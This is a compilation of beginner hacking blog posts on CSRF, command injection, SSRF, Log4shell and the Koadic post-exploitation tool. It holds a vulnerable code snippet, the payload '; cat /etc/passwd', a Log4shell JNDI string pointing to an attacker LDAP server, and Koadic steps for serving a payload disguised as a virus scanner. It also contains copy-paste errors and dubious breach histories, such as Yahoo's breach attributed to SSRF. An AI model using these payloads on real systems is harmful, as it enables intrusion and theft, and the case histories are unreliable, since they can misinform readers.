Category: Hacking

Posted on by

Cross-Site Request Forgery for Beginners

Hello, aspiring Ethical Hackers. In this article, you will learn about Cross-Site Request Forgery (CSRF) vulnerability. CSRF attacks can have serious consequences, including unauthorized money transfers, identity theft, and other forms of data theft or manipulation.

What is Cross-Site Request Forgery (CSRF)?

Cross-Site Request Forgery is a type of web application security vulnerability that allows an attacker to execute unauthorized actions on behalf of a victim user.

How CSRF Attacks Work?

CSRF attacks work by exploiting the trust that a website or web application has in a user’s browser. When a user is logged into a website, the website creates a session for that user, which includes a unique session ID. This session ID is stored in a cookie on the user’s browser, and is sent to the website with every subsequent request made by the user.

An attacker who wants to execute a CSRF attack needs to trick the victim user into submitting a request to the target website that includes the victim’s session ID. This can be accomplished in a number of ways, including by embedding a malicious form or link on a third-party website, or by sending a malicious email or message to the victim user.

Once the victim user submits the request with their session ID, the website will process the request as if it came from the user directly. This can allow the attacker to execute actions on behalf of the victim user, such as changing their account information, making purchases, or transferring funds.

cross site request forgery

Examples of CSRF attacks include changing a user’s password or email address, making purchases or subscriptions without the user’s knowledge or consent, and performing unauthorized actions on social media accounts.

Real World Examples of CSRF Attacks

CSRF attacks are a serious threat to web applications and might have been responsible for numerous hacking attacks. In this section, we will discuss some real-world examples of this attacks.

1. Twitter Bug Bounty Program:

In 2018, a security researcher discovered a CSRF vulnerability in the Twitter Ads platform. The vulnerability allowed an attacker to create and launch an advertising campaign on behalf of the victim without their knowledge. The researcher reported the vulnerability to Twitter, who promptly patched the issue and awarded the researcher a $3,000 bounty.

2. Starbucks Gift Card Theft:

In 2015, security researchers discovered a vulnerability in the Starbucks gift card registration process that allowed attackers to steal gift card balances. The vulnerability was caused by a lack of CSRF protection, which allowed attackers to change the email address associated with a gift card and then transfer the balance to their own account. The researchers notified Starbucks of the vulnerability, and the company promptly patched the issue.

3. Google Drive CSRF Attack:

In 2016, security researchers discovered a CSRF vulnerability in Google Drive that allowed attackers to steal sensitive user data, including email addresses and contact lists. The vulnerability was caused by a lack of anti-CSRF tokens, which allowed attackers to execute unauthorized actions on behalf of the user. Google was notified of the vulnerability and quickly patched the issue.

These are just a few examples of the devastating consequences of command injection attacks.

Mitigation and Prevention

There are several techniques that can be used to prevent CSRF attacks, including token-based prevention, SameSite cookies, and double-submit cookies.

Token-based prevention involves generating a unique token for each user session, and requiring that this token be included in every form submission or request made by the user. When a user submits a form or request, the website checks to make sure that the token included in the submission matches the token associated with the user’s session. If the tokens do not match, the request is rejected.

SameSite cookies are another technique that can be used to prevent CSRF attacks. SameSite cookies restrict the scope of cookies to the domain that set them, preventing them from being sent in cross-site requests. This can prevent attackers from using the victim user’s session ID to execute unauthorized actions.

Double-submit cookies involve setting a cookie that includes a random value, and requiring that this value be included in both the request header and the request body. When a request is submitted, the website checks to make sure that the value in the header matches the value in the body. If the values do not match, the request is rejected.

While all of these techniques can be effective in preventing CSRF attacks, token-based prevention is generally considered to be the most secure and reliable method.

To protect against CSRF attacks, developers can implement various measures, including:

1. Anti-CSRF Tokens:

One effective method of mitigating CSRF attacks is by using anti-CSRF tokens. These tokens are unique to each user session and are included in all requests that modify data or state. The server can then verify that the token is valid before processing the request, thereby ensuring that the request is legitimate.

2. SameSite Cookies:

Developers can also use SameSite cookies to mitigate CSRF attacks. SameSite cookies prevent cookies from being sent in cross-site requests, making it more difficult for attackers to launch CSRF attacks.

3. CSRF Protection Frameworks:

Many web application frameworks, such as Django, Ruby on Rails, and ASP.NET, provide built-in CSRF protection features. These features can include automatic generation of anti-CSRF tokens and enforcing the use of SameSite cookies.

4. Input Validation:

As with all web application security, input validation is essential to protect against CSRF attacks. Developers should validate all user input on the server side to ensure that it is safe and does not contain any malicious code.

5. Multi-Factor Authentication:

Implementing multi-factor authentication can also help protect against CSRF attacks. By requiring users to provide an additional form of authentication, such as a one-time password, attackers will have a more difficult time launching CSRF attacks.

That’s all about Command Injection. We will be back with a new vulnerability vey soon. Until then, Good Bye.

Posted on by

Command Injection for Beginners

Hello aspiring Ethical hackers. In this blogpost, you will learn about another hacking attack Command Injection. This vulnerability can be found in a wide range of web applications, from small personal websites to large corporate applications.

What is Command Injection?

Command Injection is a security vulnerability that allows an attacker to execute arbitrary commands on a target system. It occurs when an attacker can inject malicious code into a vulnerable application, which the application then executes with the privileges of the application itself.

How Command Injection Attacks Work?

Command Injection attacks work by exploiting vulnerabilities in an application that accepts user input and then passes that input directly to a shell or command interpreter. This allows attackers to inject arbitrary commands into the input that are executed with the same privileges as the application.

Attackers can use various techniques to exploit this vulnerability, such as appending commands to existing commands or using shell metacharacters to execute multiple commands in sequence. The impact of a successful attack can be significant, ranging from unauthorized access to sensitive data to full system compromise.

Command Injection

Command Injection is a serious threat to web applications because it can allow attackers to bypass application-level security measures and gain unauthorized access to sensitive data or systems. Moreover, these attacks can be difficult to detect and can lead to serious consequences, such as data breaches, system compromise, and financial loss.

Common vulnerable points for Command Injection

Common entry points for Injection attacks include web application forms, user input fields, and API endpoints. Any input that is passed to a shell or command interpreter without proper validation and sanitization can be vulnerable to Command Injection attacks.

For example, vulnerabilities can be introduced in code through improper input validation and sanitization, as well as through the use of system commands that are not properly escaped or sanitized. Examples of vulnerable code include:

perl
$command = $_GET[‘command’];
system(‘ls ‘ . $command);

In the above code, an attacker could inject arbitrary commands into the $command variable, which would then be executed by the system function. Examples of command Injection payloads and techniques include using shell metacharacters to execute multiple commands, appending commands to existing commands, and using the $(…) syntax to execute subcommands. An example of payload using shell metacharacters might look like this:

bash
; cat /etc/passwd

This would execute the cat command to display the contents of the /etc/passwd file.

Real World Examples

Command injection attacks are a serious threat to web applications and have been responsible for numerous security breaches in the past. In this section, we will discuss some real-world examples of this attacks.

1. Shellshock Bash vulnerability:

In 2014, a critical vulnerability was discovered in the Bash shell, which is used on many Unix-based systems. The vulnerability allowed an attacker to execute arbitrary commands by exploiting the way that Bash processed environment variables. This vulnerability affected millions of servers and devices worldwide, including many web servers.

2. EquiFax Data Breach:

In 2017, Equifax suffered a massive data breach that exposed the personal information of over 140 million people. The breach was the result of a command injection attack that targeted a vulnerability in the company’s web application framework. The attackers were able to execute arbitrary commands on the server and steal sensitive data.

These are just a few examples of the devastating consequences of command injection attacks. In each case, the attackers were able to gain unauthorized access to sensitive data by exploiting vulnerabilities in web applications.

Detection and Prevention

To identify Command Injection vulnerabilities, developers should thoroughly review their code for any input that is passed to a shell or command interpreter without proper validation and sanitization. There are several strategies that organizations can use to detect command injection vulnerabilities, including:

1. Manual Code Reviews

Developers should review code for any instances where user input is passed to a command shell or operating system.

2. Automated Testing:

Organizations can use tools like Burp Suite, OWASP ZAP, and Nikto to scan for command injection vulnerabilities automatically.

3. Web Application Firewalls:

WAFs can be configured to detect and block command injection attacks before they reach the server.

There are several techniques that can be used to mitigate Command Injection attacks. Some of these techniques are:

  1. Input Validation: One of the most effective techniques to mitigate Command Injection attacks is to validate all user input. This includes validating the length, format, and type of input. Input validation can be done on the client-side, server-side, or both. It is essential to ensure that the input is sanitized to remove any characters that could be used for injection attacks.
  2. Restricted Shell Access: To prevent attackers from executing arbitrary commands on the server, it is recommended to restrict shell access. This can be achieved by using a chroot jail, a containerization technology like Docker, or by limiting the commands that can be executed by the user.
  3. Principle of Least Privilege: The principle of least privilege is a security best practice that recommends limiting the access and permissions of users to only what is required to perform their tasks. This means that the user should not have unnecessary access to the server or application.
  4. Update and Patch Software: It is essential to keep all software updated and patched to prevent known vulnerabilities that can be exploited by attackers. This includes the operating system, web server, database server, and any other software used in the application.
  5. Use Security Libraries and Frameworks: Using security libraries and frameworks can help in mitigating Command Injection attacks. These libraries and frameworks are designed to handle input validation, encryption, and other security-related tasks.
  6. Monitor and Log Activity: Monitoring and logging activity can help in detecting Command Injection attacks. By monitoring the application and server logs, it is possible to identify suspicious activity and take appropriate action.

That’s all about Command Injection. We will be back with a new vulnerability vey soon. Until then, Good Bye.

Posted on by

Server Side Request Forgery For Beginners

Hello aspiring Ethical Hackers. In this blogpost, you will learn about Server Side Request Forgery. Server Side Request Forgery (SSRF) is a web application vulnerability that can allow attackers to send unauthorized requests from a server. This can lead to a wide range of security issues, such as unauthorized access to sensitive information, system compromise, and data exfiltration and it is one of the most common web application vulnerabilities.

In this article, we’ll discuss what SSRF is, how it works, types of SSRF attacks, examples of SSRF attacks, how to prevent and detect SSRF attacks, and case studies of notable SSRF attacks.

What is Server Side Request Forgery?

Server Side Request Forgery (SSRF) is a web application vulnerability that occurs when an attacker can manipulate a web application into sending unauthorized requests to other servers. In an SSRF attack, an attacker can exploit a web application to send requests to other internal or external servers, bypassing access controls and security mechanisms.

Server Side Request Forgery

SSRF attacks differ from other web application vulnerabilities, such as Cross-Site Scripting (XSS) or SQL Injection (SQLi), in that they do not rely on injecting malicious code into a web page. Instead, SSRF attacks exploit the application’s ability to send requests to other servers.

How SSRF Attacks Work?

  1. The attacker sends a request to the vulnerable web application, often by manipulating a user-controlled input field such as a URL parameter.
  2. The web application processes the request and sends a request to another server, typically based on the user’s input.
  3. The attacker intercepts the request and modifies it to send a request to a different server, often an internal server that is not accessible from outside the network.
  4. The vulnerable web application sends the unauthorized request to the attacker’s desired server, bypassing access controls and security mechanisms.

Common use cases for SSRF attacks include accessing sensitive information on internal servers, bypassing authentication mechanisms, and sending requests to cloud infrastructure providers to obtain credentials or perform other malicious actions.

Types of SSRF attacks

SSRF attacks can be classified into three main categories:

  1. Basic SSRF attacks,
  2. Advanced SSRF attacks, and
  3. Blind SSRF attacks.

Basic SSRF Attacks:

Basic SSRF attacks are the simplest form of SSRF attacks and involve manipulating user-controlled input to send unauthorized requests to other servers. These attacks can be prevented by validating and sanitizing input, limiting the scope of the request, and restricting the types of URLs that can be accessed.

Advanced SSRF Attack:

Advanced SSRF attacks are more complex and involve chaining together multiple vulnerabilities to achieve the desired result. These attacks can involve exploiting logic flaws, race conditions, or other vulnerabilities to bypass security mechanisms and gain access to sensitive information.

Blind SSRF Attack:

Blind SSRF attacks are a type of SSRF attack where the attacker does not receive a direct response from the target server. Instead, the attacker can use timing or error messages to determine whether the request was successful. Blind SSRF attacks can be more difficult to detect and prevent as the attacker is not receiving a direct response.

Real World Examples of SSRF Exploitation

SSRF attacks can have a wide range of consequences, from accessing sensitive information to system compromise and data exfiltration. Here are some examples of real-world SSRF attacks.

1. Yahoo Data Breach:

In 2016, Yahoo suffered a massive data breach that exposed the personal information of over 500 million users. The attack was carried out using an SSRF vulnerability that allowed the attacker to access Yahoo’s internal systems and steal the user data. The attacker used a common vulnerability in Yahoo’s image processing system that allowed users to submit URLs to be resized or cropped. By submitting a specially crafted URL that included instructions to access Yahoo’s internal systems, the attacker was able to gain access to sensitive information and cause widespread damage.

2. CapitalOne Data Breach:

In 2019, when Capital One suffered a massive data breach that exposed the personal information of over 100 million customers. The attack was carried out by exploiting an SSRF vulnerability in Capital One’s web application firewall, which allowed the attacker to access the company’s AWS server and steal sensitive information. The attacker was able to use the SSRF vulnerability to obtain AWS credentials and gain access to the server, which contained sensitive information such as names, addresses, credit scores, and Social Security numbers.

3. Shopify:

In 2018, a security researcher discovered an SSRF vulnerability in Shopify that allowed an attacker to obtain the API keys for the company’s payment gateway. By exploiting the vulnerability, the attacker was able to obtain sensitive information and perform unauthorized transactions.

4. Tesla Cloud Credential Theft:

In 2018, a researcher discovered an SSRF vulnerability in Tesla’s cloud infrastructure that allowed them to obtain access tokens for the company’s AWS account. The attacker was able to use the access tokens to launch instances in the company’s AWS account and perform other malicious actions.

5. Jenkins CI Server Compromise:

In 2017, a vulnerability in the Jenkins CI server allowed an attacker to compromise the server and gain access to sensitive information. The vulnerability was caused by an SSRF vulnerability that allowed the attacker to access internal servers.

Prevention and Detection

Preventing and detecting SSRF attacks requires a combination of secure coding practices, network security measures, and security testing. Here are some best practices for preventing and detecting SSRF attacks:

1. Secure Coding Practices

Using secure coding practices can help prevent SSRF vulnerabilities from being introduced into the application. Developers should validate and sanitize user input, limit the scope of requests, and restrict access to sensitive information and systems.

2. Restricting External Requests:

Restricting external requests can help prevent unauthorized requests from leaving the network. Applications should only be able to send requests to approved external servers, and any user input should be validated and sanitized before being used in a request.

3. Network Security Measures:

To prevent SSRF attacks, it’s essential to implement network security measures that restrict unauthorized requests from leaving the network. Best practices include using a Firewall and implementing access controls.

A firewall can help restrict incoming and outgoing traffic, preventing unauthorized requests from leaving the network. Firewalls can be configured to block requests to specific IP addresses or ranges, limiting the scope of potential SSRF attacks. Implementing access controls can help prevent unauthorized users from accessing sensitive information or systems. Access controls can be used to restrict access to internal servers and APIs, limiting the scope of potential SSRF attacks.

Posted on by

Log4shell Explained For Beginners

Hello aspiring Ethical Hackers. In this article you will learn about the Log4shell vulnerability and why it is dangerous. According to Wiz and EY, this vulnerability affects over 93% of the total enterprise cloud environments. At the time of writing this article, Year 2022 has seen over a billion log4shell exploitation attempts.

The software that is affected by this vulnerability includes Apache Camel, Apache Druid, Apache Flink, Apache Solr, Apache struts2, Apache Tomcat, Elastic Search, Atllasian Bitbucket, almost all software of Avaya, some software of Cisco, Citrix,Cloudera, Dell, F-Secure, Hitachi Energy, HP, IBM, Intel, Lenovo, McAfee, Microsoft, MongoDB, Netapp, Neo4j (OMG, we just installed it in last Issue), Nulab, Oracle, Palantir, Palo -Alto, PaperCut, Rapid7, RedHat, Salesforce, Schneider Electric, Securonix, Siemens, SolarWinds, Sophos, Splunk, Thales, Varian, VMWare, Xylem, and Zendesk etc. The commercial services that are vulnerable to log4shell include Amazon Web Services, Cloudflare, iCloud, Minecraft: Java Edition, Steam and Tencent QQ.

If you read the above list of software vulnerable to log4shell, you will understand why it is given CVSS rating of 10.

What is Log4j or Log4shell vulnerability?

Log4j is actually an open source logging framework written in Java that software developers use to log or record data in their applications. The data that is logged can also include user input. For example, most web servers use logging. When you try to access a login webpage, apart from displaying you that webpage the server can create a record of your visit. Log4j was written in 2001 by Ceki Gülcü and now is part of Apache Logging Services which is a project of the Apache Software Foundation.

There is a feature in Log4j that allows remote users to specify custom code for formatting a log message. However, this feature can also be used to execute code on the target remotely by submitting it from a third party server. This allows a remote attacker to even take complete control of the target.

Enough theory, Let’s see it practically. For this, first we need a target. We have setup a vulnerable Docker container which we downloaded from here. This container can be started as shown below.

Once the container is up and running, check it’s IP address as shown below.

The target IP address is 172.17.0.2. Now let’s set up the Attacker system. We have setup a new directory named log4shell to store all files belonging to log4shell.

log4shell

We have downloaded a Java exploit to exploit log4j from here.

After extracting the contents of the zip archive, we navigate into the extracted directory to find the exploit. The command to run this exploit is given as shown below.

In the place of “your-private-ip”, we need to enter the attacker IP address (172.17.0.1). Now, what does this exploit do? It starts a fake LDAP server and HTTP server as shown below.

The fake LDAP server is the third party server we need. Next, we need to trigger the exploit. Open a new terminal and run the command as shown below.

In the above command we are starting with curl, you can see “$(jndi)”. JNDI stands for Java Naming and Directory Interface and it is used for lookup of Java objects during program runtime. JNDI can interact with several directory interfaces which provide different scheme of files lookup.

One among them is the Lightweight Directory Access Protocol (LDAP). LDAP is a non-Java-specific protocol that can retrieve the object data as a URL which can be either local or remote. JNDI can be used to load data at an URL as Java object data by utilizing LDAP.

By specifying ${jndi:ldap://172.17.0.1:…..Ao=}, we are asking JNDI to use LDAP to query the URL and load the data there as Java object data. Well, what does the exploit do? As soon as we trigger the exploit, switch to the terminal on which our fake LDAP server is running.

It received a LDAP query and executed a command. It created a new file named “pwned” in the /tmp directory of the target (since that is what the exploit is programmed to do). Let’s check if the new file is created or not. This can be done as shown below.

All good, but what is “X-Api-version” we used while triggering the exploit? That’s a HTTP header. As soon as we trigger the exploit, it will query the fake malicious LDAP server and it is inputting a string that is logged to the target (-H 172.17.0.2) and then loading the malicious code (In this case, creating a new file on target). That’s how Log4jshell exploit works.

Posted on by

Windows POST Exploitation: Koadic

Hello aspiring Ethical Hackers. In this article you will learn about a Windows POST Exploitation tool named Koadic. Koadic, or COM command and control is a Rootkit tool that is used for Windows POST exploitation. It is similar to Meterpreter and Powershell Empire except that it performs most of its operations using Windows Script Host. i.e JScript and Visual Basic Script.

The good thing about Koadic is that it is compatible with almost all the versions of Windows from Windows 2000 to windows 10. It also has the ability to serve payloads in memory and is updated to run with newly released Python 3. Koadic can be cloned from Github as shown below.

Once the repository is cloned, we can navigate into that directory and install the requirements needed for using koadic.

Once the requirements are all installed, koadic can be started. It can be started using the command shown below.

./koadic

windows post exploitation

Koadic has two important components. They are,

  1. Stagers
  2. Implants.

Stagers are used to get initial sessions which are called as Zombies. Once Koadic is started, we can have a look at various stagers of koadic using command shown below.

use stager <tab> <tab>

Let’s use the Java script mshta stager. This stager serves payloads in memory using MSHTA.exe Html applications.

Set the SRVHOST, SRVPORT and ENDPOINT (name of the stager we create) options and execute the stager using run command.

As you can see in the above image, the payload is ready. Once victims visit this link, the virus_scanner.hta payload starts downloading on the target machine. Once the victim executes it, we get a ZOMBIE on a attacker machine as shown in the image below. Zombie in Koadic is just like a session in Metasploit.

The “zombies” command can be used to view all the sessions we have.

Every zombie session is given a session id starting from 0 which can be used for interacting with it. For example, the zombie session I got has been assigned ID “0”. Let’s interact with it.

Readers will learn more about this tool in Part 2 of this article.